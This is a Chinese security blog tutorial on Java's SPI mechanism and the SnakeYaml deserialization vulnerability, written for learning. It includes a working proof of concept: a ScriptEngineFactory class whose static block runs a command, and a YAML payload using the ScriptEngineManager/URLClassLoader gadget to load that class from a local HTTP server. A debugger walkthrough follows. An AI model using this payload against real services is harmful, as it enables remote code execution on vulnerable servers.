Automne's Shadow.

Java SPI机制与SnakeYaml反序列化漏洞

2020/02/08 Share

Web

新型冠状肺炎疫情仍在不停加温,戴口罩的日子什么时候才是个头啊。祈愿国泰民安。

SPI机制

Java SPI(Service Provider Interface)是JDK内置的一种服务提供发现机制,从JDK 6被引入。它可以动态地为某个接口寻找服务实现,有点类似 IOC(Inversion of Control)控制反转的思想,将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要。使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。

automne

下面看使用示例

首先定义一个Shopping接口

1
2
3
4
5
package com.automne;

public interface Shopping {
String buyMask();
}

在src目录下创建META-INF/services文件夹,并以上面定义的接口全名命名该文件,即com.automne.Shopping,这个就是SPI配置文件

然后创建上面接口的实现类,这里创建了两个实现类:

BuyN95.java

1
2
3
4
5
6
7
package com.automne;

public class BuyN95 implements Shopping {
public String buyMask(){
return "Bought 10 N95 masks!";
}
}

BuyNormal.java

1
2
3
4
5
6
7
package com.automne;

public class BuyNormal implements Shopping {
public String buyMask(){
return "Bought 20 Normal masks!";
}
}

最后在SPI配置文件里填入接口实现类的全名,在这里我两个实现类都填写了。

automne

在IDEA里将这个工程打包成jar文件

File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies

automne

生成jar包后,重新创建一个IDEA Java工程,引入jar包,并且写入测试代码。

我们可以把上面生成的jar包理解为客户端用户根据SPI接口自己定义了一套实现并打包成jar,然后下面写入的测试代码,就是服务端的代码,服务端引入了jar包和其中的META-INF/services下的配置文件,通过ServiceLoader.load执行了相关操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.automne.Shopping;

import java.util.Iterator;
import java.util.ServiceLoader;

public class TestSPI {
public static void main(String[] args){
ServiceLoader<Shopping> s = ServiceLoader.load(Shopping.class);
Iterator<Shopping> iterator = s.iterator();
while (iterator.hasNext()){
Shopping shop = iterator.next();
System.out.println(shop.buyMask());
}
}
}

从代码里可以看到,这里根据java.util.ServiceLoader这个类。依据传入的接口类(Shopping.class),遍历META-INF/services目录下的以该类命名的文件中的所有类,并实例化返回。

automne

SnakeYaml反序列化漏洞

SnakeYaml全版本都可以被反序列化漏洞利用,当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

SnakeYaml的反序列化漏洞一般会用到javax.script.ScriptEngineManager的Gadget

首先创建一个Poc.java,继承javax.script.ScriptEngineFactory并写入静态的利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class Poc implements ScriptEngineFactory {
static {
try {
System.out.println("Hacked by Automne");
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

然后使用javac将该java文件编译成Poc.class,放置到Tomcat 9的webapps/ROOT目录下,并在相同目录下创建/META-INF/services/javax.script.ScriptEngineFactory文件,文件内容为Poc

automne

startup.bat启动Tomcat服务器。

然后在IDEA创建测试工程,模拟存在SnakeYaml反序列化漏洞的服务端代码,yaml.load(poc)的传参可控

注意这里的payload,通过ScriptEngineManager的SPI机制加载远程服务器的恶意类。

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class Test {
public static void main(String[] args){
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8080/Poc\"]]]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

JDK使用1.8版本,运行后成功命令执行。

automne

调试分析

在yaml.load(poc)行打断点开始调试分析

F7跟入load函数

automne

继续跟进loadFromReader函数

automne

跟进getSingleData函数

automne

跟进constructDocument函数

automne

跟入constructObject函数

automne

随后代码走到constructObjectNoCheck函数里

跟入constructor.construct函数

automne

然后进入到construct方法里,一直F8步过,在org.yaml.snakeyaml.constructor包下的Constructor.class里,来到下图的位置

automne

payload就是在此处被执行。

参数成功传入了URLClassLoader类并进行实例化

automne

要想搞清楚为什么是SPI机制去执行的payload,继续往下看

点击Navigate跳到ScriptEngineManager类里

automne

继续看initEngines(loader),

automne

跟到getServiceLoader函数里就可以看到典型的ServiceLoader.load()函数了

automne

当然SnakeYaml反序列化漏洞除了ScriptEngineManager这个Gadget外,还可以利用fastjson的JdbcRowSetImpl Gadget等,从大佬的博客里截图示意一下

automne

参考链接

https://www.mi1k7ea.com/2019/12/08/%E6%B5%85%E6%9E%90Java-SPI%E5%AE%89%E5%85%A8/#0x02-SPI%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98

https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.cnblogs.com/xifengxiaoma/p/9443922.html

CATALOG
  1. 1. SPI机制
  2. 2. SnakeYaml反序列化漏洞
  3. 3. 调试分析
  4. 4. 参考链接